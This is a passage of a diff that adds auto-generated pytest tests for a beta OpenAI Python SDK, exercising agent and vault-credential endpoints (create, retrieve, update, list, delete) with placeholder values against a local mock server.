+ def test_method_retrieve(self, client: OpenAI) -> None:
+ credential = client.beta.agents.vaults.credentials.retrieve(
+ credential_id="credential_id",
+ vault_id="vault_id",
+ )
+ assert_matches_type(Credential, credential, path=["response"])
+
+ @parametrize
+ def test_raw_response_retrieve(self, client: OpenAI) -> None:
+ response = client.beta.agents.vaults.credentials.with_raw_response.retrieve(
+ credential_id="credential_id",
+ vault_id="vault_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ credential = response.parse()
+ assert_matches_type(Credential, credential, path=["response"])
+
+ @parametrize
+ def test_streaming_response_retrieve(self, client: OpenAI) -> None:
+ with client.beta.agents.vaults.credentials.with_streaming_response.retrieve(
+ credential_id="credential_id",
+ vault_id="vault_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ credential = response.parse()
+ assert_matches_type(Credential, credential, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_retrieve(self, client: OpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `vault_id` but received ''"):
+ client.beta.agents.vaults.credentials.with_raw_response.retrieve(
+ credential_id="credential_id",
+ vault_id="",
+ )
+
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `credential_id` but received ''"):
+ client.beta.agents.vaults.credentials.with_raw_response.retrieve(
+ credential_id="",
+ vault_id="vault_id",
+ )
+
+ @parametrize
+ def test_method_update(self, client: OpenAI) -> None:
+ credential = client.beta.agents.vaults.credentials.update(
+ credential_id="credential_id",
+ vault_id="vault_id",
+ auth={"type": "mcp_oauth"},
+ )
+ assert_matches_type(Credential, credential, path=["response"])
+
+ @parametrize
+ def test_method_update_with_all_params(self, client: OpenAI) -> None:
+ credential = client.beta.agents.vaults.credentials.update(
+ credential_id="credential_id",
+ vault_id="vault_id",
+ auth={
+ "type": "mcp_oauth",
+ "access_token": "access_token",
+ "expires_at": "expires_at",
+ "refresh": {
+ "refresh_token": "refresh_token",
+ "scope": "scope",
+ "token_endpoint_auth": {
+ "type": "client_secret_basic",
+ "client_secret": "client_secret",
+ },
+ },
+ },
+ )
+ assert_matches_type(Credential, credential, path=["response"])
+
+ @parametrize
+ def test_raw_response_update(self, client: OpenAI) -> None:
+ response = client.beta.agents.vaults.credentials.with_raw_response.update(
+ credential_id="credential_id",
+ vault_id="vault_id",
+ auth={"type": "mcp_oauth"},
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ credential = response.parse()
+ assert_matches_type(Credential, credential, path=["response"])
+
+ @parametrize
+ def test_streaming_response_update(self, client: OpenAI) -> None:
+ with client.beta.agents.vaults.credentials.with_streaming_response.update(
+ credential_id="credential_id",
+ vault_id="vault_id",
+ auth={"type": "mcp_oauth"},
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ credential = response.parse()
+ assert_matches_type(Credential, credential, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_update(self, client: OpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `vault_id` but received ''"):
+ client.beta.agents.vaults.credentials.with_raw_response.update(
+ credential_id="credential_id",
+ vault_id="",
+ auth={"type": "mcp_oauth"},
+ )
+
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `credential_id` but received ''"):
+ client.beta.agents.vaults.credentials.with_raw_response.update(
+ credential_id="",
+ vault_id="vault_id",
+ auth={"type": "mcp_oauth"},
+ )
+
+ @parametrize
+ def test_method_list(self, client: OpenAI) -> None:
+ credential = client.beta.agents.vaults.credentials.list(
+ vault_id="vault_id",
+ )
+ assert_matches_type(SyncCursorPage[Credential], credential, path=["response"])
+
+ @parametrize
+ def test_method_list_with_all_params(self, client: OpenAI) -> None:
+ credential = client.beta.agents.vaults.credentials.list(
+ vault_id="vault_id",
+ after="after",
+ limit=0,
+ order="asc",
+ status="active",
+ )
+ assert_matches_type(SyncCursorPage[Credential], credential, path=["response"])
+
+ @parametrize
+ def test_raw_response_list(self, client: OpenAI) -> None:
+ response = client.beta.agents.vaults.credentials.with_raw_response.list(
+ vault_id="vault_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ credential = response.parse()
+ assert_matches_type(SyncCursorPage[Credential], credential, path=["response"])
+
+ @parametrize
+ def test_streaming_response_list(self, client: OpenAI) -> None:
+ with client.beta.agents.vaults.credentials.with_streaming_response.list(
+ vault_id="vault_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ credential = response.parse()
+ assert_matches_type(SyncCursorPage[Credential], credential, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_list(self, client: OpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `vault_id` but received ''"):
+ client.beta.agents.vaults.credentials.with_raw_response.list(
+ vault_id="",
+ )
+
+ @parametrize
+ def test_method_delete(self, client: OpenAI) -> None:
+ credential = client.beta.agents.vaults.credentials.delete(
+ credential_id="credential_id",
+ vault_id="vault_id",
+ )
+ assert_matches_type(CredentialDeleted, credential, path=["response"])
+
+ @parametrize
+ def test_raw_response_delete(self, client: OpenAI) -> None:
+ response = client.beta.agents.vaults.credentials.with_raw_response.delete(
+ credential_id="credential_id",
+ vault_id="vault_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ credential = response.parse()
+ assert_matches_type(CredentialDeleted, credential, path=["response"])
+
+ @parametrize
+ def test_streaming_response_delete(self, client: OpenAI) -> None:
+ with client.beta.agents.vaults.credentials.with_streaming_response.delete(
+ credential_id="credential_id",
+ vault_id="vault_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ credential = response.parse()
+ assert_matches_type(CredentialDeleted, credential, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_delete(self, client: OpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `vault_id` but received ''"):
+ client.beta.agents.vaults.credentials.with_raw_response.delete(
+ credential_id="credential_id",
+ vault_id="",
+ )
+
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `credential_id` but received ''"):
+ client.beta.agents.vaults.credentials.with_raw_response.delete(
+ credential_id="",
+ vault_id="vault_id",
+ )
+
+
+class TestAsyncCredentials:
+ parametrize = pytest.mark.parametrize(
+ "async_client", [False, True, {"http_client": "aiohttp"}], indirect=True, ids=["loose", "strict", "aiohttp"]
+ )
+
+ @parametrize
+ async def test_method_create(self, async_client: AsyncOpenAI) -> None:
+ credential = await async_client.beta.agents.vaults.credentials.create(
+ vault_id="vault_id",
+ auth={
+ "access_token": "access_token",
+ "mcp_server_url": "mcp_server_url",
+ "type": "mcp_oauth",
+ },
+ name="x",
+ )
+ assert_matches_type(Credential, credential, path=["response"])
+
+ @parametrize
+ async def test_method_create_with_all_params(self, async_client: AsyncOpenAI) -> None:
+ credential = await async_client.beta.agents.vaults.credentials.create(
+ vault_id="vault_id",
+ auth={
+ "access_token": "access_token",
+ "mcp_server_url": "mcp_server_url",
+ "type": "mcp_oauth",
+ "expires_at": "expires_at",
+ "refresh": {
+ "client_id": "client_id",
+ "refresh_token": "refresh_token",
+ "token_endpoint": "token_endpoint",
+ "token_endpoint_auth": {"type": "none"},
+ "resource": "resource",
+ "scope": "scope",
+ },
+ },
+ name="x",
+ )
+ assert_matches_type(Credential, credential, path=["response"])
+
+ @parametrize
+ async def test_raw_response_create(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.beta.agents.vaults.credentials.with_raw_response.create(
+ vault_id="vault_id",
+ auth={
+ "access_token": "access_token",
+ "mcp_server_url": "mcp_server_url",
+ "type": "mcp_oauth",
+ },
+ name="x",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ credential = response.parse()
+ assert_matches_type(Credential, credential, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_create(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.beta.agents.vaults.credentials.with_streaming_response.create(
+ vault_id="vault_id",
+ auth={
+ "access_token": "access_token",
+ "mcp_server_url": "mcp_server_url",
+ "type": "mcp_oauth",
+ },
+ name="x",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ credential = await response.parse()
+ assert_matches_type(Credential, credential, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_create(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `vault_id` but received ''"):
+ await async_client.beta.agents.vaults.credentials.with_raw_response.create(
+ vault_id="",
+ auth={
+ "access_token": "access_token",
+ "mcp_server_url": "mcp_server_url",
+ "type": "mcp_oauth",
+ },
+ name="x",
+ )
+
+ @parametrize
+ async def test_method_retrieve(self, async_client: AsyncOpenAI) -> None:
+ credential = await async_client.beta.agents.vaults.credentials.retrieve(
+ credential_id="credential_id",
+ vault_id="vault_id",
+ )
+ assert_matches_type(Credential, credential, path=["response"])
+
+ @parametrize
+ async def test_raw_response_retrieve(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.beta.agents.vaults.credentials.with_raw_response.retrieve(
+ credential_id="credential_id",
+ vault_id="vault_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ credential = response.parse()
+ assert_matches_type(Credential, credential, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_retrieve(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.beta.agents.vaults.credentials.with_streaming_response.retrieve(
+ credential_id="credential_id",
+ vault_id="vault_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ credential = await response.parse()
+ assert_matches_type(Credential, credential, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_retrieve(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `vault_id` but received ''"):
+ await async_client.beta.agents.vaults.credentials.with_raw_response.retrieve(
+ credential_id="credential_id",
+ vault_id="",
+ )
+
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `credential_id` but received ''"):
+ await async_client.beta.agents.vaults.credentials.with_raw_response.retrieve(
+ credential_id="",
+ vault_id="vault_id",
+ )
+
+ @parametrize
+ async def test_method_update(self, async_client: AsyncOpenAI) -> None:
+ credential = await async_client.beta.agents.vaults.credentials.update(
+ credential_id="credential_id",
+ vault_id="vault_id",
+ auth={"type": "mcp_oauth"},
+ )
+ assert_matches_type(Credential, credential, path=["response"])
+
+ @parametrize
+ async def test_method_update_with_all_params(self, async_client: AsyncOpenAI) -> None:
+ credential = await async_client.beta.agents.vaults.credentials.update(
+ credential_id="credential_id",
+ vault_id="vault_id",
+ auth={
+ "type": "mcp_oauth",
+ "access_token": "access_token",
+ "expires_at": "expires_at",
+ "refresh": {
+ "refresh_token": "refresh_token",
+ "scope": "scope",
+ "token_endpoint_auth": {
+ "type": "client_secret_basic",
+ "client_secret": "client_secret",
+ },
+ },
+ },
+ )
+ assert_matches_type(Credential, credential, path=["response"])
+
+ @parametrize
+ async def test_raw_response_update(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.beta.agents.vaults.credentials.with_raw_response.update(
+ credential_id="credential_id",
+ vault_id="vault_id",
+ auth={"type": "mcp_oauth"},
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ credential = response.parse()
+ assert_matches_type(Credential, credential, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_update(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.beta.agents.vaults.credentials.with_streaming_response.update(
+ credential_id="credential_id",
+ vault_id="vault_id",
+ auth={"type": "mcp_oauth"},
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ credential = await response.parse()
+ assert_matches_type(Credential, credential, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_update(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `vault_id` but received ''"):
+ await async_client.beta.agents.vaults.credentials.with_raw_response.update(
+ credential_id="credential_id",
+ vault_id="",
+ auth={"type": "mcp_oauth"},
+ )
+
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `credential_id` but received ''"):
+ await async_client.beta.agents.vaults.credentials.with_raw_response.update(
+ credential_id="",
+ vault_id="vault_id",
+ auth={"type": "mcp_oauth"},
+ )
+
+ @parametrize
+ async def test_method_list(self, async_client: AsyncOpenAI) -> None:
+ credential = await async_client.beta.agents.vaults.credentials.list(
+ vault_id="vault_id",
+ )
+ assert_matches_type(AsyncCursorPage[Credential], credential, path=["response"])
+
+ @parametrize
+ async def test_method_list_with_all_params(self, async_client: AsyncOpenAI) -> None:
+ credential = await async_client.beta.agents.vaults.credentials.list(
+ vault_id="vault_id",
+ after="after",
+ limit=0,
+ order="asc",
+ status="active",
+ )
+ assert_matches_type(AsyncCursorPage[Credential], credential, path=["response"])
+
+ @parametrize
+ async def test_raw_response_list(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.beta.agents.vaults.credentials.with_raw_response.list(
+ vault_id="vault_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ credential = response.parse()
+ assert_matches_type(AsyncCursorPage[Credential], credential, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_list(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.beta.agents.vaults.credentials.with_streaming_response.list(
+ vault_id="vault_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ credential = await response.parse()
+ assert_matches_type(AsyncCursorPage[Credential], credential, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_list(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `vault_id` but received ''"):
+ await async_client.beta.agents.vaults.credentials.with_raw_response.list(
+ vault_id="",
+ )
+
+ @parametrize
+ async def test_method_delete(self, async_client: AsyncOpenAI) -> None:
+ credential = await async_client.beta.agents.vaults.credentials.delete(
+ credential_id="credential_id",
+ vault_id="vault_id",
+ )
+ assert_matches_type(CredentialDeleted, credential, path=["response"])
+
+ @parametrize
+ async def test_raw_response_delete(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.beta.agents.vaults.credentials.with_raw_response.delete(
+ credential_id="credential_id",
+ vault_id="vault_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ credential = response.parse()
+ assert_matches_type(CredentialDeleted, credential, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_delete(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.beta.agents.vaults.credentials.with_streaming_response.delete(
+ credential_id="credential_id",
+ vault_id="vault_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ credential = await response.parse()
+ assert_matches_type(CredentialDeleted, credential, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_delete(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `vault_id` but received ''"):
+ await async_client.beta.agents.vaults.credentials.with_raw_response.delete(
+ credential_id="credential_id",
+ vault_id="",
+ )
+
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `credential_id` but received ''"):
+ await async_client.beta.agents.vaults.credentials.with_raw_response.delete(
+ credential_id="",
+ vault_id="vault_id",
+ )
diff --git a/tests/api_resources/beta/test_agents.py b/tests/api_resources/beta/test_agents.py
new file mode 100644
index 0000000000..1ea0b36aa7
--- /dev/null
+++ b/tests/api_resources/beta/test_agents.py
@@ -0,0 +1,516 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+import os
+from typing import Any, cast
+
+import pytest
+
+from openai import OpenAI, AsyncOpenAI
+from tests.utils import assert_matches_type
+from openai.pagination import SyncCursorPage, AsyncCursorPage
+from openai.types.beta import (
+ Agent,
+ AgentDeleted,
+)
+
+base_url = os.environ.get("TEST_API_BASE_URL", "http://127.0.0.1:4010")
+
+
+class TestAgents:
+ parametrize = pytest.mark.parametrize("client", [False, True], indirect=True, ids=["loose", "strict"])
+
+ @parametrize
+ def test_method_create(self, client: OpenAI) -> None:
+ agent = client.beta.agents.create(
+ model="model",
+ )
+ assert_matches_type(Agent, agent, path=["response"])
+
+ @parametrize
+ def test_method_create_with_all_params(self, client: OpenAI) -> None:
+ agent = client.beta.agents.create(
+ model="model",
+ instructions="instructions",
+ metadata={"foo": "string"},
+ multi_agent={
+ "enabled": True,
+ "max_concurrent_subagents": 1,
+ },
+ name="name",
+ reasoning={
+ "effort": "none",
+ "summary": "concise",
+ },
+ service_tier="auto",
+ text={
+ "format": {"type": "text"},
+ "verbosity": "low",
+ },
+ tools=[
+ {
+ "description": "description",
+ "name": "name",
+ "parameters": {"foo": "bar"},
+ "type": "function",
+ "defer_loading": True,
+ }
+ ],
+ )
+ assert_matches_type(Agent, agent, path=["response"])
+
+ @parametrize
+ def test_raw_response_create(self, client: OpenAI) -> None:
+ response = client.beta.agents.with_raw_response.create(
+ model="model",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ agent = response.parse()
+ assert_matches_type(Agent, agent, path=["response"])
+
+ @parametrize
+ def test_streaming_response_create(self, client: OpenAI) -> None:
+ with client.beta.agents.with_streaming_response.create(
+ model="model",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ agent = response.parse()
+ assert_matches_type(Agent, agent, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_method_retrieve(self, client: OpenAI) -> None:
+ agent = client.beta.agents.retrieve(
+ "agent_id",
+ )
+ assert_matches_type(Agent, agent, path=["response"])
+
+ @parametrize
+ def test_raw_response_retrieve(self, client: OpenAI) -> None:
+ response = client.beta.agents.with_raw_response.retrieve(
+ "agent_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ agent = response.parse()
+ assert_matches_type(Agent, agent, path=["response"])
+
+ @parametrize
+ def test_streaming_response_retrieve(self, client: OpenAI) -> None:
+ with client.beta.agents.with_streaming_response.retrieve(
+ "agent_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ agent = response.parse()
+ assert_matches_type(Agent, agent, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_retrieve(self, client: OpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `agent_id` but received ''"):
+ client.beta.agents.with_raw_response.retrieve(
+ "",
+ )
+
+ @parametrize
+ def test_method_update(self, client: OpenAI) -> None:
+ agent = client.beta.agents.update(
+ agent_id="agent_id",
+ )
+ assert_matches_type(Agent, agent, path=["response"])
+
+ @parametrize
+ def test_method_update_with_all_params(self, client: OpenAI) -> None:
+ agent = client.beta.agents.update(
+ agent_id="agent_id",
+ instructions="instructions",
+ metadata={"foo": "string"},
+ model="model",
+ multi_agent={
+ "enabled": True,
+ "max_concurrent_subagents": 1,
+ },
+ name="name",
+ reasoning={
+ "effort": "none",
+ "summary": "concise",
+ },
+ service_tier="auto",
+ text={
+ "format": {"type": "text"},
+ "verbosity": "low",
+ },
+ tools=[
+ {
+ "description": "description",
+ "name": "name",
+ "parameters": {"foo": "bar"},
+ "type": "function",
+ "defer_loading": True,
+ }
+ ],
+ )
+ assert_matches_type(Agent, agent, path=["response"])
+
+ @parametrize
+ def test_raw_response_update(self, client: OpenAI) -> None:
+ response = client.beta.agents.with_raw_response.update(
+ agent_id="agent_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ agent = response.parse()
+ assert_matches_type(Agent, agent, path=["response"])
+
+ @parametrize
+ def test_streaming_response_update(self, client: OpenAI) -> None:
+ with client.beta.agents.with_streaming_response.update(
+ agent_id="agent_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ agent = response.parse()
+ assert_matches_type(Agent, agent, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_update(self, client: OpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `agent_id` but received ''"):
+ client.beta.agents.with_raw_response.update(
+ agent_id="",
+ )
+
+ @parametrize
+ def test_method_list(self, client: OpenAI) -> None:
+ agent = client.beta.agents.list()
+ assert_matches_type(SyncCursorPage[Agent], agent, path=["response"])
+
+ @parametrize
+ def test_method_list_with_all_params(self, client: OpenAI) -> None:
+ agent = client.beta.agents.list(
+ after="after",
+ limit=1,
+ order="asc",
+ )
+ assert_matches_type(SyncCursorPage[Agent], agent, path=["response"])
+
+ @parametrize
+ def test_raw_response_list(self, client: OpenAI) -> None:
+ response = client.beta.agents.with_raw_response.list()
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ agent = response.parse()
+ assert_matches_type(SyncCursorPage[Agent], agent, path=["response"])
+
+ @parametrize
+ def test_streaming_response_list(self, client: OpenAI) -> None:
+ with client.beta.agents.with_streaming_response.list() as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ agent = response.parse()
+ assert_matches_type(SyncCursorPage[Agent], agent, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_method_delete(self, client: OpenAI) -> None:
+ agent = client.beta.agents.delete(
+ "agent_id",
+ )
+ assert_matches_type(AgentDeleted, agent, path=["response"])
+
+ @parametrize
+ def test_raw_response_delete(self, client: OpenAI) -> None:
+ response = client.beta.agents.with_raw_response.delete(
+ "agent_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ agent = response.parse()
+ assert_matches_type(AgentDeleted, agent, path=["response"])
+
+ @parametrize
+ def test_streaming_response_delete(self, client: OpenAI) -> None:
+ with client.beta.agents.with_streaming_response.delete(
+ "agent_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ agent = response.parse()
+ assert_matches_type(AgentDeleted, agent, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_delete(self, client: OpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `agent_id` but received ''"):
+ client.beta.agents.with_raw_response.delete(
+ "",
+ )
+
+
+class TestAsyncAgents:
+ parametrize = pytest.mark.parametrize(
+ "async_client", [False, True, {"http_client": "aiohttp"}], indirect=True, ids=["loose", "strict", "aiohttp"]
+ )
+
+ @parametrize
+ async def test_method_create(self, async_client: AsyncOpenAI) -> None:
+ agent = await async_client.beta.agents.create(
+ model="model",
+ )
+ assert_matches_type(Agent, agent, path=["response"])
+
+ @parametrize
+ async def test_method_create_with_all_params(self, async_client: AsyncOpenAI) -> None:
+ agent = await async_client.beta.agents.create(
+ model="model",
+ instructions="instructions",
+ metadata={"foo": "string"},
+ multi_agent={
+ "enabled": True,
+ "max_concurrent_subagents": 1,
+ },
+ name="name",
+ reasoning={
+ "effort": "none",
+ "summary": "concise",
+ },
+ service_tier="auto",
+ text={
+ "format": {"type": "text"},
+ "verbosity": "low",
+ },
+ tools=[
+ {
+ "description": "description",
+ "name": "name",
+ "parameters": {"foo": "bar"},
+ "type": "function",
+ "defer_loading": True,
+ }
+ ],
+ )
+ assert_matches_type(Agent, agent, path=["response"])
+
+ @parametrize
+ async def test_raw_response_create(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.beta.agents.with_raw_response.create(
+ model="model",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ agent = response.parse()
+ assert_matches_type(Agent, agent, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_create(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.beta.agents.with_streaming_response.create(
+ model="model",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ agent = await response.parse()
+ assert_matches_type(Agent, agent, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_method_retrieve(self, async_client: AsyncOpenAI) -> None:
+ agent = await async_client.beta.agents.retrieve(
+ "agent_id",
+ )
+ assert_matches_type(Agent, agent, path=["response"])
+
+ @parametrize
+ async def test_raw_response_retrieve(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.beta.agents.with_raw_response.retrieve(
+ "agent_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ agent = response.parse()
+ assert_matches_type(Agent, agent, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_retrieve(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.beta.agents.with_streaming_response.retrieve(
+ "agent_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ agent = await response.parse()
+ assert_matches_type(Agent, agent, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_retrieve(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `agent_id` but received ''"):
+ await async_client.beta.agents.with_raw_response.retrieve(
+ "",
+ )
+
+ @parametrize
+ async def test_method_update(self, async_client: AsyncOpenAI) -> None:
+ agent = await async_client.beta.agents.update(
+ agent_id="agent_id",
+ )
+ assert_matches_type(Agent, agent, path=["response"])
+
+ @parametrize
+ async def test_method_update_with_all_params(self, async_client: AsyncOpenAI) -> None:
+ agent = await async_client.beta.agents.update(
+ agent_id="agent_id",
+ instructions="instructions",
+ metadata={"foo": "string"},
+ model="model",
+ multi_agent={
+ "enabled": True,
+ "max_concurrent_subagents": 1,
+ },
+ name="name",
+ reasoning={
+ "effort": "none",
+ "summary": "concise",
+ },
+ service_tier="auto",
+ text={
+ "format": {"type": "text"},
+ "verbosity": "low",
+ },
+ tools=[
+ {
+ "description": "description",
+ "name": "name",
+ "parameters": {"foo": "bar"},
+ "type": "function",
+ "defer_loading": True,
+ }
+ ],
+ )
+ assert_matches_type(Agent, agent, path=["response"])
+
+ @parametrize
+ async def test_raw_response_update(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.beta.agents.with_raw_response.update(
+ agent_id="agent_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ agent = response.parse()
+ assert_matches_type(Agent, agent, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_update(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.beta.agents.with_streaming_response.update(
+ agent_id="agent_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ agent = await response.parse()
+ assert_matches_type(Agent, agent, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_update(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `agent_id` but received ''"):
+ await async_client.beta.agents.with_raw_response.update(
+ agent_id="",
+ )
+
+ @parametrize
+ async def test_method_list(self, async_client: AsyncOpenAI) -> None:
+ agent = await async_client.beta.agents.list()
+ assert_matches_type(AsyncCursorPage[Agent], agent, path=["response"])
+
+ @parametrize
+ async def test_method_list_with_all_params(self, async_client: AsyncOpenAI) -> None:
+ agent = await async_client.beta.agents.list(
+ after="after",
+ limit=1,
+ order="asc",
+ )
+ assert_matches_type(AsyncCursorPage[Agent], agent, path=["response"])
+
+ @parametrize
+ async def test_raw_response_list(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.beta.agents.with_raw_response.list()
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ agent = response.parse()
+ assert_matches_type(AsyncCursorPage[Agent], agent, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_list(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.beta.agents.with_streaming_response.list() as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ agent = await response.parse()
+ assert_matches_type(AsyncCursorPage[Agent], agent, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_method_delete(self, async_client: AsyncOpenAI) -> None:
+ agent = await async_client.beta.agents.delete(
+ "agent_id",
+ )
+ assert_matches_type(AgentDeleted, agent, path=["response"])
+
+ @parametrize
+ async def test_raw_response_delete(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.beta.agents.with_raw_response.delete(
+ "agent_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ agent = response.parse()
+ assert_matches_type(AgentDeleted, agent, path=["response"])
+
+ @parametrize
